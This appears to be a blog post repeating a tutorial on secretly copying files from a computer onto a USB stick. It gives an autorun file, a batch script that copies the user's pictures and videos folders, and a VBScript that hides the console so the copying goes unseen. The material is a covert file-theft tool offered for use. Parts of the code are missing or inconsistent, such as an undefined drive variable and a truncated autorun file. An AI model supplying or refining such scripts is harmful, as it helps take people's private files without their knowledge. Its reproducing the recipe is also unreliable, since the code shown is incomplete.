Today, I came across a tutorial on instructables that shows you how to copy files from a computer to an USB drive secretly. Well, here’s the tutorial in detail:
Firstly, you need to create 4 files- autorun.inf, file.bat, invisible.vbs and launch.bat. Read the following carefully to understand how these files are created and how they work.
Open notepad, paste the following and save the file as autorun.inf
action=Click OK to Run
In the above code “drive.ico” is the icon name. You can change it to reflect the icon you want to use. If you don’t intend to use icon then delete that line.
Open Notepad again, paste the following and save the file as file.bat
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
%backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
In the above code, “backup” is the name of the folder that is to be created on your USB drive. The files will be copyied into it. The first file path “%USERPROFILE%\pictures” – is the target and the second file path “%drive%\backup\pics” – is the destination.
Open Notepad, paste the following and save as invisible.vbs
CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
This code runs the process in the background without showing the CMD prompt and what the batch file is processing.
Open Notepad, paste the following and save as launch.bat.
wscript.exe \invisible.vbs file.bat
Copy the above four files to your pen drive. Once you have copied the files, create a folder named backup. When you double click to auto run, the copying process starts in the background.